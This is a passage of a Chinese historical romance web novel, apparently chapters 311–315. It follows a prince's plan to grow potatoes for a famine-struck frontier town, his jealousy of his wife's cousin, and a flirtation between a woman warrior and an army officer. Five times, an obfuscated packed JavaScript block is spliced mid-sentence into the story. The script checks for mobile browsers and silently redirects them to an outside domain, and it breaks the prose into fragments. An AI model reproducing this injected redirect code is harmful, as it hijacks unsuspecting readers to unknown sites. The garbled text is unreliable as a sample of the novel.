哪怕蒋家已然落魄,他也没法接受林铮这样一个人作自己的女婿。 蒋鹤荣还待说些什么,蒋老太医出声打断了。 “好了,不必多说这些有的没的,南笙行事自有分寸。” 真要论起来,蒋南笙比蒋鹤荣可靠多了。 在这方面,蒋老太医对蒋南笙很放心。 就算她与那林铮当真有些什么,也是她自己的事。 他已经老了,没有精力去管儿孙的事,儿孙自有儿孙福。 蒋南笙和林铮一道进了门,大家七嘴八舌地开始追问蒋南笙失踪这段时间的经历。 蒋鹤荣问,“张垚呢?” 蒋南笙听到这个名字,觉得很陌生,眼神疑惑。 林铮提醒,“他是你奶娘的儿子。” 蒋鹤荣等人见此,都懵了。 蒋南笙这时才吐露实情,“我忘了过往之事,不记得他了。” 众人愕然。 “可你分明还记得我们。” 蒋南笙摇头,“我并没有想起来,是瑾王殿下告知,我才对自己的过往有所了解。” 蒋鹤荣这才生出了然,难怪她对自己这个父亲没有什么敬意,原来是失忆了。 蒋老太医连忙给她诊脉,旋即,眉头便紧紧蹙了起来。 “你的脑部受到重击,淤血不散,压迫了脑部,这才诱发失忆。若要恢复记忆,需得把脑中的淤血散去方可。” 蒋南笙点头,“的确如此。” 她给自己诊过脉,结果亦是这般。 想到她此前经历过的重伤,蒋老太医满脸心疼,他当即让蒋南笙躺下,为她施针。 一套针施完,蒋老太医已是体力不支。 林铮十分紧张,“老太爷,她怎么样?” “她脑中淤血已然积了一段时间,眼下要将淤血冲散,并不容易,只能慢慢来。” 蒋老太医心中亦升起担忧。 她错过了最佳的康复期,能否恢复如初,一切都是个问题。 自己现在的身体,也不知能撑多久,能否撑到给她施完这套针? 蒋南笙慢慢清醒,看到他们二人面上的忧色,她反倒露出轻松神色。 “生死有命,不必过于担忧。更何况,我的身体并无问题,只是缺失了一部分记忆罢了,没什么大不了的。” 她很是豁达,蒋老太医的心头这才放松几分。 大事落定,任宗平清点好的人马,再带上赵书宁、楚翊安、谷兆麟等**,启程回了京。 而萧晏辞一行则暂未启程。 萧晏辞的伤势未愈,不宜长途赶路,便留下休养。 他们也从富绛村搬回了城中,暂住在谷栖山的将军府上。 虽是将军府,但一应陈设家具都十分陈旧,整个宅子也已许久不曾好生修缮了。 谷栖山笑道:“我大多数时间都在军中,这府邸只是偶尔来住,自然没必要白花那银子,倒是委屈殿下了。” 西平城的百姓过得并不富裕,镇西军的军饷也很紧凑,他身为一方大将,手头也并不算宽裕。 他在物欲上并无甚要求,自然无心打理这些。 萧晏辞对此并不介怀,“将军两袖清风,本王很是佩服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492567|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆知苒这几日终于抽出时间到自己的商行视察了一番,再回来时,她的面上笼着几分忧色。 萧晏辞见此,面露疑惑。 “为何愁眉不展?可是商行遇到了什么难处?” 陆知苒摇头,“事情真相已然公之于众,商行眼下一切顺利。我是见了此地百姓们的困苦之态,心受触动。” 萧晏辞默了默。 他比陆知苒早到西平,对此早有感触。 父皇已是爱民如子的明君,但大齐治下,依旧有百姓无法果腹,这其中,有太多的无能为力。 “此地贫瘠,粮食难成活,这是无法改变的客观因素。” 陆知苒闻言,眸光微动。 “殿下,我是不是忘了告诉你,上回你进献给皇上的洋芋,已然试种成功了,产量十分惊人。若把洋芋引到西平,让西平百姓种植,或可解决他们吃饭的问题。” 萧晏辞完全忘了这一茬,陆知苒提起,他才想了起来。 “此乃利国利民之举,甚好。” 他们都没试过在西平种植洋芋,不知能不能成功。 但不试怎么知道能不能成? 此乃农耕的大事,需得上报朝廷,得朝廷允许,方能大规模种植。 萧晏辞立马与谷栖山商议了此事,谷栖山听罢,十分意外,虽对洋芋的产量有些怀疑,但他什么都没多说,直接应下。 “我这便给皇上写折子,禀明此事。” 越快落实此事,百姓们也能越快吃上好粮食,不用再忍受饥饿之苦。 萧晏辞也在思考着时间的问题。 百姓们刚刚经历战乱之苦,很快,生计问题就要凸显出来。 若是现在就能把洋芋种下,三个月后,他们就能有第一批收获。 或许,洋芋种在此地不会有那么好的产量,但只要比其他农作物产量高,便值得推广种植。 但眼下,要向朝廷上报此事,还要等朝廷把洋芋种运来,如此一来一回,又要耽误两三个月的时间。 这两三个月,不知道多少百姓要挨饿。 若能有足够的洋芋就好了,现在就能种下。 若父皇问责下来,他愿意为此事担保。 第311章 醋坛子打翻了 谷栖山心中想法与他不谋而合。 此地若有洋芋,他定会先斩后奏,哪怕有可能会被皇上问责,他也要为百姓办下此事。 二人都暗自决定,派人去搜罗一番,看能否尽快弄到此物。 就在这时,将军府来了一位不速之客。 正是陆知苒的表兄,洛观澜。 此前,他送来的那批粮草,恰好解了城中粮草紧缺的困局,谷栖山感念他慷慨解囊之义举,承诺定会向朝廷谏言,上报太仓商行与洛氏商行的功劳。 但后来,赵书宁设计传播谣言,百姓们对太仓商行生出误解,洛观澜也受到有心人的攻讦,遭了一回百姓的**。 不得已,他只能暂避风头,暗中想法子扭转局势。 他一直藏在暗处,他一介商贾,能做的不多,只能在暗中煽动和引导**,但收效甚微,为此他甚是懊恼,有种愧对陆知苒的愧疚。 期间又听说瑾王出事,他的心不禁狠狠咯噔一下。 便是连承诺为他们请功的谷将军也战**,洛观澜心头一片阴霾,大有一种此行多半赔了夫人又折兵的挫败。 但他不甘心就此离开,也一直想等待事情发生反转。 幸而,他的期望成真了。 瑾王和谷将军安全无虞,便是表妹陆知苒也来了西平。 洛观澜得知消息,这才第一时间登门求见。 陆知苒得知表兄登门,也十分欣喜,表兄妹二人在正厅见面。 “表兄,你瞧着消瘦不少,这段时日辛苦你了。” 洛观澜一脸惭愧,“我险些办砸了你交代的任务,实在惭愧。” 他简单将事情道来。 陆知苒出声宽慰,“是有人欲与我为难,反倒是表兄,是被我所连累了。好在,诸事皆已解决,” 洛观澜也松了口气,很是庆幸。 他又转而问道:“你怎会来西平?可有遇到危险?” 说完上下打量她,眼底盛满担忧。 陆知苒没有多说,只道:“我不放心便来了,我没事,一切都好。” 她又道:“这次多亏了艾伯特,他给了我不少药,正是他的药,救了殿下一命。” 洛观澜露出笑意,“他能帮上忙,委实太好了。他在京城如何?是否住得习惯?” “他在安王府一切都好,他救了安王妃一命,眼下正在替安王调理身子,安王府还有一位医术高超的祁大夫,他们二人共同探讨医术,相处十分融洽,我上次见到他,他很是自得其乐。” 洛观澜松了口气,“那就好。” 艾伯特于他有大恩,他又是自己带到京城的,若他不得志,洛观澜的确会过意不去。 二人闲话,脸上俱是带着笑意,气氛很是融洽。 萧晏辞便是这个时候来的。 他伤口恢复得很不错,但尚未痊愈,至少还需休养大半个月方可。 自从能下地,他便日日下床溜达。 方才下人来禀,说王妃的表兄来了,萧晏辞立马就拄着拐杖来了。 一来,就看到两人这番相谈甚欢的模样。 洛观澜虽是商人,但生得斯文俊秀,气质很是儒雅。 二人脸上都挂着灿烂的笑,眼眸里都闪着亮光,二人站在一处,看上去分外登对。 萧晏辞的眸色立马沉了几分,一双黑眸幽幽地望着那边。 贺昀轻咳一声,出声提醒了一番,相谈甚欢的两人这才回神,齐齐朝他这边看来。 陆知苒脸上的笑意没有收敛,朝他施施然行礼。 “殿下。” 洛观澜立马正了神色,恭恭敬敬地见礼。 “草民洛观澜,见过瑾王殿下。” 萧晏辞缓慢踱步走来。 此时,他觉得自己不该拄这破拐杖,平白在洛观澜面前失了气势。 心中百般想法,面上却不露分毫,十分高冷地走进正厅坐下。 “方才在聊什么,这般开心?” 他的语气有些冷淡,洛观澜感受到了他对自己的威压,心头愈发紧绷。 陆知苒倒是没有什么特别的感觉,她在萧晏辞身边已然习惯,对他的脾性也摸得十分清楚,他看似严肃,实际不过面冷心热。 “只是与表兄聊了些家常罢了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498392|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>萧晏辞:“什么家常?本王也想听听。” 贺昀:自家殿下这副酸不溜秋的样子,简直没眼看。 洛观澜到底的过来人,很快就反应过来瑾王对自己敌意的来源。 他当即开口,“我们聊起了洋医艾伯特,他此前曾为内子调养身子,内子数年不孕,经他调养之后便成功怀上。听闻此次艾伯特给表妹提供了不少药,帮了大忙,草民心中亦十分高兴。” 萧晏辞一听,原本紧绷的面容肉眼可见地松缓了几分,看向洛观澜的眼神也和缓了。 “原来如此。本王身上的毒能解,便多亏了艾伯特的药,他既是你引荐,本王记你一个恩情。” 洛观澜闻言,松了口气。 看来自己果然没有猜错,瑾王殿下方才分明是误会了什么,他立马抛出解释,对方的态度也一下变了。 洛观澜可不敢托大拿乔,“草民并未做什么,此事功劳皆在艾伯特,草民断不敢揽功。” 他知进退,萧晏辞也满意。 “本王说你有功,你便有功,不必推辞。” 顿了顿,又道:“本王也听说了,此次洛氏为镇西军捐赠了一批粮草,你们虽为商贾,却舍利取义,值得天下商贾学习,本王亦会向父皇替洛氏请功。” 至于太仓商行的功劳,自然更不必多说。 洛观澜得了这话,心头大定,立马谢恩。 他心中暗自庆幸,幸亏他们对陆知苒足够信任,走了这一趟,不然,洛氏也捞不到这样立功的机会。 他们损失的不过是一些钱财,但得到的嘉奖,却是多少钱财都买不来的。 陆知苒也很高兴。 外祖家在苏州经营多年,是时候慢慢扩充版图,往京城发展发展了。 此次,便是一个最佳契机。 好在,外祖家抓住了机会。 萧晏辞想到一事,开口,“你可听说过一种名为洋芋的东西?” 洛观澜点头,“从艾伯特口中听过,但却未曾见过。” 洛观澜观他神色,心中生出猜测。 “殿下可是需要此物?” 第312章 甘拜下风 萧晏辞点头,“急需,越快搜罗到越好。若超过一月,便不必了。” 超过了一个月,朝廷的洋芋也已经送来了,自然不需要他再帮忙搜罗。 洛观澜敏锐地意识到,这或许又是一个立功的机会,只看他能不能抓住了。 洛观澜立马道,“草民可以为殿下搜寻一番。” 洛观澜没有耽搁,很快告退。 他现在还没有什么门路可以弄到此物,得赶紧想法子去办。 他一走,陆知苒这才开口问,“殿下想现在就安排人种洋芋?” 萧晏辞点头。 “今年西平城遭到战事,百姓疏于耕种,及早种下洋芋,百姓们的粮食也能及早得到解决。父皇定然不会反对此事,若他怪罪下来,便由我担着便是。” 陆知苒闻言,心头微暖。 “殿下一心为民,实乃苍生之幸也。” 萧晏辞摇了摇头,“到这里走了这一遭,方知边关百姓之苦,我能为他们做的,也只有这些了。” 陆知苒认真道:“殿下能有这份心,已然胜过大多数人了。” 听得陆知苒对自己的夸赞,萧晏辞的眸底不禁染上几分笑意。 他又状似随意地说起洛观澜。 “你表兄倒是生得斯文俊秀,似世家子弟,不似商贾。” “洛家人都生得不差,表兄早些年也读过几年书,自然浸染了读书人的儒雅气度。” 说这话时,陆知苒的眼底满是与有荣焉。 萧晏辞不过是为抛出话题,才随口夸赞,听得陆知苒这番真心实意的夸奖,他心头顿时涌起一股酸劲。 陆知苒压根没往旁的方面想,对他的飞醋毫无知觉。 萧晏辞幽幽看着她,“本王比他如何?” 他的目光太有侵略性,陆知苒微愣之后,总算后知后觉地明白过来他的心思,一时有些哭笑不得。 “殿下龙章凤姿,行止间自有山河气度,岂是表兄一介布衣可及?” 她的言辞恳切,神色认真,萧晏辞唇角不自觉翘了翘。 贺昀:没眼看。 萧晏辞余光瞥了贺昀一眼,贺昀立马麻溜地告退了,临走前还不忘给霜华使眼色,霜华也十分有眼力见地一并告退。 待正厅内再无不相干之人,萧晏辞便从怀中掏出了一个香囊。 “你送的香囊,本王没有弄丢,那枚耳坠也还在。” 他说这话时,颇有些献宝之意。 又道:“日后王妃可放心大胆地给本王送礼,本王都不会弄丢。” 他的命格,陆知苒可破。 她是特殊的。 陆知苒:…… 没想到还有人主动讨要礼物。 她只能道:“日后我寻到合适之物,定会赠与殿下。” 萧晏辞立马顺杆爬,“本王的荷包掉了,正好缺一个。你身上那个花样就很不错,若做成天青色的,定也十分好看。” 他这算盘珠子都要打到自己脸上来了,陆知苒只能应下此事。 不过,对于萧晏辞的主动讨要,她心中并无反感,她能感受到对方的赤诚。 叶寒衣也暂住在将军府,但陆知苒忙着商行之事,好几天没见到对方了。 她问:“寒衣呢?” 萧晏辞的眼中闪过无奈,“她闲不住,跑军营去了。” 叶寒衣本就是在军中长大,对军营并不排斥,在军营中,她反而觉得更加自在。 她肩上的伤本身并不严重,只要把毒清理干净,恢复起来很快,她向谷栖山征求了同意,就整日扎堆在军营里,萧晏辞也没管她。 陆知苒不禁失笑,“她真该投生为男儿。” 萧晏辞眸底多了一丝笑意,这倒是。 此时的叶寒衣,的确正在军营中。 她在跟戈叙白比试。 大家都说戈叙白的武功高强,当日在断云山,叶寒衣也有所见识,但却没有窥见全貌,她早就技痒,想与他切磋一二。 但她的伤尚未痊愈,她此前提出这个请求,都被戈叙白婉拒了,今日她才终于磨得对方松口。 叶寒衣对这场比试跃跃欲试,是以她十分卖力。 叶寒衣身形如燕,戈叙白剑如游龙,二人斗法,剑风霍霍,繁复多变,叫围观士兵看得惊叹连连,叶寒衣越打越兴奋,好胜心也被彻底激了起来。 她假意攻向戈叙白的左路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498393|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却在最后一刻剑锋陡转。 这一剑来得很快,戈叙白若全力格挡,反弹的力道足以震伤叶寒衣的手臂,甚至可能会让她肩上的伤处裂开。 电光石火间,他选择侧身避让,然而叶寒衣的剑势已无法收回,锋利的剑尖直直刺入他的肩头。 围观蒋氏俱是一愣,叶寒衣也吓了一跳。 她没有想过自己会伤到他。 “你怎么不躲啊?” 戈叙白面不改色,“你的剑太快了,我甘拜下风。” 叶寒衣赢了,但心头却没有获胜后的喜悦。 她看着戈叙白肩上渗出的血,心头莫名。 戈叙白满不在乎,“一点小伤罢了,我皮糙肉厚,过几日就好了。更何况,这本就是一场比试,我技不如人,这也是我该受的。” 话虽如此,叶寒衣还是有些愧疚。 旁人或许不知道,她身在其中却是再清楚不过,方才戈叙白是有意避让,这才受了伤。 她方才那一剑剑势凌厉,即便她刻意收敛,也定然威力不小,他的伤只怕不是简单的皮外伤。 戈叙白下去包扎了,叶寒衣也没有在军中逗留,而是一溜烟跑回了将军府。 她去寻了陆知苒,“知苒,那艾伯特给你的外伤药,你手里还有吗?” 陆知苒将她上下打量了一圈,“你受伤了?” 叶寒衣摇头,“不是我,是戈叙白,我与他比试,不小心把他刺伤了。” 陆知苒有些意外,听闻戈叙白的武功十分了得,叶寒衣竟能伤他?难道叶寒衣的功夫比戈叙白的更好? 来不及细问,陆知苒赶忙去把剩下的外伤药寻来,交给了叶寒衣。 叶寒衣又似一阵风似的,风风火火地跑了。 戈叙白没有自己的府邸,他一直住在军中,偶尔进城,也会去将军府小住。 但最近将军府有贵客,他自是不便打扰,是以有一段时间没有再去将军府了。 他有单独的营帐,虽不及主帅的宽敞,但一应物件俱全,甚至超过了许多军中老将。 而这一切,并非仗着与谷栖山的师徒情,而是靠自己的双手,一点点攒下的功劳。 第313章 荣耀的勋章 叶寒衣对军中的布局已然十分了解,她也是熟面孔,在军营中自由行走。 她拿着伤药,目标明确,直奔戈叙白的营帐。 “戈叙白,我给你……” 叶寒衣的话说了一半就卡住了,她贸贸然闯进去,看到了不该看的。 戈叙白正在宽衣。 他胸膛宽阔,沟壑分明,腹部肌理分明,紧实如甲,那上面布满伤痕,并不难看,反而似他荣耀的勋章。 这具身躯,不是养尊处优的贵胄之身,而是历经沙场淬炼的凶器,每一寸肌骨都蕴藏着爆发般的力道,既危险,又令人难以移开视线。 叶寒衣不是没有见过世面的人,但骤然看到这样的画面,也产生了强烈的视觉冲击。 她下意识地咽了咽唾沫。 戈叙白听到动静,疑惑抬眸,待看到眼前人,他立马飞快将里衣拢起,将自己遮得严严实实,因为动作太急,牵扯到伤处,他眉头微不可查地蹙了蹙。 叶寒衣回神,她下意识摸了摸耳朵,眼神乱飘。 “对不住啊,我不知道你在更衣。” 戈叙白一脸镇定,似毫无波澜。 “无妨。” 他不合时宜地想,他曾经也看过她的肩头,真要论起来,还是她吃亏多一些。 思绪纷转之间,他脑中便不受控地浮起那白得晃眼的圆润肩头,不知那上面,可有留下疤痕。 很快收回思绪,戈叙白问,“你怎么来了?” “我给你送药来了,是洋医的药,药效很好,你试试。” 叶寒衣将手中的药递上,戈叙白接过,“多谢。” 送了药,叶寒衣本要走,但目光瞥到他的肩头,“呀”了一声,“怎么又流血了?” 这个时候戈叙白才注意到,自己肩头上的伤果然又开始流血了。 想来是方才他动作太急,不小心牵扯到了伤口。 戈叙白根本没察觉疼痛,“无妨,一点小伤罢了,无甚要紧的。” 叶寒衣却依旧蹙着眉,“伤口不算浅,不可大意。” 戈叙白便道:“我让人给我重新包扎。” 但他连唤了好几声,外头都无人回应。 外头值守的将士不知去了何处。 戈叙白眉头微蹙,露出几分不悦。 叶寒衣见此,便道:“要不,我给你包扎吧?” 戈叙白下意识要拒绝,但到嘴的话不知为何又咽了回去。 他的眼神飘忽,似有迟疑。 “这,只怕不大合适。” 嘴上虽说不合适,但他的态度却并没有强硬的拒绝之意,叶寒衣立马道:“你我乃袍泽,没什么不合适的。更何况,你也曾为我包扎过伤口,我也是礼尚往来罢了。” 她性子爽利,并不扭捏,她这话说得大大方方,戈叙白最后那丝犹疑也打消了。 他点了头,“如此,就有劳了。” 叶寒衣满脸一本正经,但眼睛却在暗暗发亮。 方才没瞧清楚,这下可以近距离地观摩了。 她不是没瞧过男子赤裸的上身,但却没有人的赤身有他的这么好看。 当然,她只是顺便看两眼,绝不会把口水流下来。 但戈叙白却没有宽衣解带,只是把那受伤的肩头露了出来。 叶寒衣:…… 一个大男人,那么小气干什么! 腹诽一番,到底也不敢把话说出来,不然自己的意图岂不是太明显了? 待纱布解开,看到他肩上的伤,叶寒衣就忘了那些有的没的,那伤口真的很深。 叶寒衣心头升起一股愧疚,“疼不疼?” 她的语气不自觉放轻,戈叙白能感受到有一股温热气息喷洒在他的肩头上,不疼,只有点痒,连带着,他的心尖也似瘙痒了起来。 “一点小伤罢了。” 叶寒衣不再多说,开始给他上药。 她的动作很轻,也很慢,生怕弄疼了他。 戈叙白绷直了身子,一动不动。 他觉得自己有点自讨苦吃了,只盼着她能早点结束。 不知过了多久,叶寒衣终于将伤处包扎好了,最后还打了个花哨的蝴蝶结。 “好了。” 戈叙白轻轻虚了口气,原本紧绷的身子也慢慢放松下来。 叶寒衣见此,只当他是疼的。 小声咕哝,“明明那么疼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507026|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还嘴硬。” 戈叙白一时有口难言。 这时,副将来了。 掀帘进来,就看到戈叙白的肩头半露,伤处重新包扎过,那上面,还打了个蝴蝶结。 再看看叶寒衣,不用想就能猜到那蝴蝶结是怎么回事。 外头那么多弟兄,老大却让叶小姐给他包扎伤口,啧。 他们两人的神色都很正常,但副将硬是从中读出了不一样的味道。 叶寒衣见有人来了,便不再多留,主动告辞了。 临走前还叮嘱他,“注意伤势,莫要再把伤口绷出血了。” 戈叙白点头应下。 叶寒衣一走,副将八卦的眼神就开始在戈叙白的脸上来回打转。 “老大,方才我是不是来得不是时候?” 戈叙白一记眼刀子直直朝他扫来。 “再要胡言,休怪我不客气。” 副将立马闭嘴了,心道,老大全身上下嘴最硬。 因着是自己伤了他,叶寒衣对他的伤势颇为上心,每日都要关心一番。 艾伯特的伤药十分了得,加上戈叙白本身体魄强健,用了那药之后,伤势好得很快。 若是以往,他怕是早就懒得再管了。 但现在,他却日日都仔细地包扎上药,将叶寒衣的话奉若圣旨般。 一众手下见了,都不禁暗暗嘀咕,“咱们老大莫不是真提不起刀了?” 戈叙白当日就拉着手底下的人狠狠操练一番,每个人都累得抬不起手来,真真是提不起刀了,而戈叙白却是一派泰然。 众人这才恍悟,敢情他们老大在叶寒衣面前都是装出来的柔弱,是在博取人姑娘的同情呢。 好奸诈。 要不要去拆穿?想倒是想,但不敢,不然,只怕又要迎来一轮更加严酷的操练。 而这头,洛观澜忙着打探能尽快弄到洋芋的门路。 没想到,他很快就有了结果。 “是恒瑞商行,他们商行出海,运回不少洋芋。早些年,洛家曾有恩于他们,我出面交涉了一番,他们便答应此事,并承诺半月内就能把洋芋送来。” 陆知苒一听,这不是老熟人吗? 第314章 铁石心肠 没想到洛家与恒瑞商行竟然也早有往来,更没想到,恒瑞商行竟也有管事在此地。 不过,洛观澜既然能接洽上对方,还能谈妥此事,终归是好事。 萧晏辞对此也十分满意,言语嘉奖了洛观澜一番。 陆知苒便将自己与恒瑞商行的渊源道来,只是依旧隐去了萧晏珩的身份。 “恒瑞商行的东家是有心人,此次他们既然答应了此事,定能履诺。” 萧晏辞没想到竟然还有这么一层关系在,对恒瑞商行顿时添了许多好感。 洋芋之事虽尚未落定,但也已有七八成把握。 萧晏辞唤来谷栖山,先向他透露一番。 “本王对此地的农事不甚了解,若寻到了洋芋种,还需将军将此事安排下去。” 谷栖山闻言面露欣喜,“殿下一片仁心,微臣替西平百姓谢过您。” 萧晏辞摆了摆手,“本王并未出力,真正要劳心劳力的,是谷将军你。” “微臣驻守此地,便需对此地百姓负责到底,这都是微臣的本分。” 谷栖山没有多说什么,很快就去忙了。 此事暂时不会公开,但他得先派人着手安排,届时,只要洋芋就位,就能立马安排播种。 谷栖山现在休养身体,军中事务都交给了戈叙白和其他老将打理。 谷栖山想了想,让人给戈叙白传信。 谷栖山很器重戈叙白,但他到底年轻,还需要更多的功绩累积,也需要民心。 这件事交由他来办,能笼络民心。 翌日,戈叙白便回了城,往将军府而来。 谷栖山将事情与戈叙白细说一番,戈叙白也很高兴,“若那洋芋当真如瑾王殿下所言,能在西平存活,还能有如此高的产量,那就太好了。今后,西平百姓们都不愁没有果腹之物了。” 谷栖山脸上亦带着希冀。 “瑾王殿下一心为民,日后……” 他话说了一半便打住了,但未尽之意,大家都心知肚明。 戈叙白得了吩咐,便将此事记下了。 他当即要回去安排,被谷栖山拦住了。 “不急于这一时,留下吃顿饭再走。” 戈叙白从善如流地留下了。 萧晏辞一行虽暂住在将军府,但大家并不聚在一处吃饭,今日,也是他们师徒二人一块儿吃的饭。 戈叙白看到他鬓角的那抹斑白,心头不禁升起触动。 这一刻,他更加清晰地意识到,师父真的老了。 有些话在心里过了好几遍,最终还是咽了回去。 谷栖山瞥他一眼,“想说什么就直说,吞吞吐吐做什么?” 戈叙白这才开口,“师父是否还在为兆麟之事伤怀?” 戈叙白对谷兆麟恨之入骨,是百般瞧不上的,他本不想提,但师父与他到底是父子一场,师父对他也曾寄予厚望,而今遭到背叛,师父面上不显,心中定然难以释怀。 因为在乎,所以才会越发失望。 谷栖山神色淡淡的,“你憋这么半天,就憋出这么句话?你瞧着我像是那种娘们儿兮兮的人吗?” “我瞧着师父的面容似有憔悴之色。” 谷栖山面色幽沉几分,“那畜生与我已然没有半分瓜葛,不值得我为他忧虑。我所思虑的,乃是镇西军的未来。我**之事,定然瞒不住,皇上若以我的身体为由,派人协理军中事宜,我也没有拒绝的理由。” 闻言,戈叙白也正色几分。 他不是真正的毛头小子,对于此间的利害关系心中也早有权衡。 自古武将都逃不开鸟尽弓藏的结局,皇上对师父生了忌惮,的确可能会如此行事。 但面上,戈叙白却是宽慰他,“师父不必多虑,皇上乃明君,定不会亏待了您。” 谷栖山也没继续说,点了点头。 用过饭,戈叙白便离开了。 回到军营大门,一个穿着蓝色碎花裙的姑娘扭扭捏捏地朝他走来。 她怯怯开口,“戈将军。” 戈叙白转眸,疑惑看她。 “何事?” 那女子对上他的目光,一下就红了脸,说话声音也不自觉低了好几度。 “上次羌笛来犯,我差点被掳走,幸得戈将军出手,这才侥幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507027|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃脱,我,我很是感谢。这是我做的一点小吃食,虽然粗陋,却是我的一片心意,还,还请戈将军莫要嫌弃。” 说完,她将手中的食盒递了出去。 然而,对面的人却没有接,他的神色平淡,“护卫百姓安危,本就是我的职责所在,姑娘不必放在心上。眼下城中百姓的生计都不容易,这份吃食,姑娘还是拿回去吧。” 他的话说得很客气,但拒绝之意也十分不容置疑。 那姑娘愣在原地,眼底满是失落。 她不死心,“我家中还有吃食,将军就收下吧。” 戈叙白依旧没接,“我方才已经用过膳了,这份好意心领了。” 那姑娘的眼眶瞬间红了。 而戈叙白的面上却没有半分动容。 他不想收,平白引人遐想,也给自己招惹麻烦。 那姑娘又羞又窘,最后把食盒往地上一放,扔下一句,“东西送出去,断然没有收回的道理,将军请自行处理吧。” 说完,她捂着脸就跑了。 戈叙白看着眼前的食盒,眉头皱得能夹死苍蝇。 有进入军营的士兵见此情形,笑着调侃。 “又有姑娘给参将送吃的了,参将真是魅力无边啊。” “参将以前蓄着把大胡子都有姑娘家对他投怀送抱,现在胡子一刮,英俊帅气,自然更多姑娘家前赴后继。” 众人笑作一团,戈叙白冷眼扫过去,自带威慑,众人立马噤声,赶紧散了。 戈叙白看着地上那食盒,心头不禁犯难,一时不知如何处理才好。 正这时,一道声音传来。 “戈参将,我还没吃饭,这食盒能否转赠给我啊?” 戈叙白一转头,就对上了叶寒衣满含戏谑的目光。 不知为何,戈叙白有种做了坏事被抓包的感觉,心头也不自觉紧了紧。 他一脸正色,“我未曾收下此物,若你想要,自拿去便是。” 这个问题一定要重申清楚,他可不能白白受了这冤枉。 “人家姑娘家巴巴地送到你面前,你竟毫不领情,当真是铁石心肠。” 第315章 看上他什么? 戈叙白越发正色,“此言差矣。我对那姑娘无意,自然不能收这东西。我若收了,岂不平白给对方不该有的遐想?那才是害了她。” 叶寒衣闻言,这才收起了脸上的玩笑。 “你所言倒是的确有几分道理。” 戈叙白挺直了腰杆,“我不是那等随意招惹姑娘家,又对人不负责任之人。” 叶寒衣见此,心头莫名更添几分愉悦。 戈叙白又道:“这食盒我断然不能收,你若想要大可拿去,但请你吃完之后把它给那姑娘送回去,寻常人家的生活皆不易,这食盒对普通人家而言,已是一笔不菲的家资。” 此为其一。 其二,戈叙白也有自己的私心。 让叶寒衣把食盒送回去,也变相向那姑娘表明了自己的态度,更是会在不经意间让旁人误会他与叶寒衣的关系。 叶寒衣似笑非笑地看他,“怎么,拿我当挡箭牌?” 戈叙白也看着对方,“不知叶小姐是否愿意帮在下这个小忙?” 不待叶寒衣开口,又道:“就当是你误伤我的一个补偿。” 这话一说,倒是让叶寒衣没法拒绝了。 她答应了下来。 那食盒里的只是一些普通的吃食,但已经是现今百姓家中难得的好东西了。 叶寒衣三两口吃完,又买了几份精致的糕点放入食盒中,提着往那姑娘家而去。 那姑娘本还躲在房间里偷哭,听闻有人来寻,红着眼眶出来了。 待见到叶寒衣和她手中提着的食盒,顿时就明白了些什么,心头涌起一股酸涩。 跟眼前的这位气度不凡的小姐相比,自己的确半点都比不上,是自己痴心妄想了。 军中很快传起了她与戈叙白的传言,甚至传到了萧晏辞的耳中。 他把叶寒衣喊来询问一番,叶寒衣眼珠子一转,不答反问,“表兄,你觉得他怎么样?” 萧晏辞立马坐直了身子,目光在她的脸上来回转了几圈。 “你看上他了?” 